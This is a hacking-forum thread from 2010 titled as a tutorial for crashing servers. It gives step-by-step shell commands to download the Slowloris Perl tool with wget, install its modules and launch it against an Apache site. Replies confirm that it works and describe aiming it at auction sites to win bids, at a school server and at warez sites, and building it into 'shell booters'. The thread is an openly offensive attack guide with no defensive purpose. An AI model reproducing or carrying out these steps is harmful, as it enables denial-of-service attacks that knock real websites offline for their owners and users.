Thread: [\[TUT\] How to crash servers with only 1 system](#)[\[TUT\]](#)

Risto - September 3, 2010, 12:17 pm

Hello hackforums. Today i am going to show you how to crash big servers with only 1 box.

Note: this only works crashing web servers that have Apache installed, so you cannot attack home computers or game servers like CS, CoD etc...

1. Things You Will Need A linux box (rooted, VPS or your own machine)

Putty (For remote SSH)

SlowLoris DoS

2. Instructions

1. Get on putty, or start up terminal (i will be using CentOS for this tutorial)
2. Login with root
3. Now write: "yum install perl"
4. Wait until its installed
5. Now write: "wget <http://hackers.org/slowloris/slowloris.pl>"
6. Wait until its downloaded
7. Now write: "perl -MCPAN -e 'install IO::Socket::INET'" and "perl -MCPAN -e 'install IO::Socket::SSL'"
8. After you have it all configured to start the attack use: "perl slowloris.pl -dns example.com"
9. If you need any help write: "perldoc slowloris.pl"

Note: everything is written without quotes

I can use Backtrack for this right? Since backtrack is a linux mod.

Also, this is DoS, I doubt it will do much damage...

But nice tutorial.

retar - September 3, 2010, 12:50 pm

IF you have a good internet connection you can shutdown by your own really average sites!

This is a freaking dos i used it before.

Symbol - September 3, 2010, 12:51 pm

Yeah I figured it wouldn't be so effective...

Risto - September 3, 2010, 12:51 pm

linux mod.

Also, this is DoS, I doubt it will do much damage...

But nice tutorial.

yes it is a dos, and i highly recommend reading what it does before judging, this is the best dos attack, and it uses little bandwidth.

and yes you can use backtrack or any *nix system

@retaer

as i said in my post, its recommended to use rooted system with like 100 mbit line. this does not need big internet, you can dos and browse and be on skype at the same time, this just uses up servers sockets so other users cannot connect

EDIT: this does not crash the server, it just uses up the connection sockets so other users cant connect... so you can use it to win bids on small auction sites:)

Bump. 150 views and 2 replies. -_-

Asus - September 4, 2010, 8:47 am

Nice, some shel booter has this. How to send IP/Time?

MetalBlade15 - September 4, 2010, 9:51 am

looks good will try

too short

I want to code this into my PHP Hub system.

Risto - September 4, 2010, 11:52 am

(Sep 4, 2010 11:17 AM)Asus Wrote: [\[CITE\]](#) I want to code this into my PHP Hub system.

you will need root access to initiate the attack.. so uploading a shell to perform an attack will be useless

Asus - September 4, 2010, 3:48 pm

I wonder how its send via PHP. This looks cool.

Fa?e - September 4, 2010, 4:42 pm

Very , very nice! works like a charm, and if you have a decent connection can bring down websites until they block your IP :P

Risto - September 4, 2010, 4:58 pm

I am glad that you liked it..

Deflate - September 4, 2010, 5:46 pm

very nice!! works for me .. Thanks!

Asus - September 4, 2010, 5:48 pm

Nice release, confirmed working. Might do this on my shell booter.

Spoiler ([Click to View](#))

Can't locate IO/Socket/SSL.pm in @INC (@INC contains:
/usr/lib64/perl5/site_perl/5.8.8/x86_64-linux-thread-multi /usr/lib/perl5/site_perl/5.8.8
/usr/lib/perl5/site_perl /usr/lib64/perl5/vendor_perl/5.8.8/x86_64-linux-thread-multi
/usr/lib/perl5/vendor_perl/5.8.8 /usr/lib/perl5/vendor_perl
/usr/lib64/perl5/5.8.8/x86_64-linux-thread-multi /usr/lib/perl5/5.8.8 .) at slowloris.pl line 4.
BEGIN failed--compilation aborted at slowloris.pl line 4.

I need help :\

You arn't very smart... are you...

Caturman - September 26, 2010, 1:49 pm

I like how people take shit off of the partyvan wiki!

666regab - September 27, 2010, 1:31 am

i need a tut for apache hack. but I do not understand anything about education.But I do not understand anything about education.If you want further explanation or Make a movie about it
TNX

NEW KID ON THE BLOCK - September 27, 2010, 2:05 am

Nice TuT will try it on my school server mate..thanks.

High Quality! - September 27, 2010, 3:05 am

I think its limited to linux no matter but I dont use linux atm

Thanx next time when I use linux I will try it on some warez site?
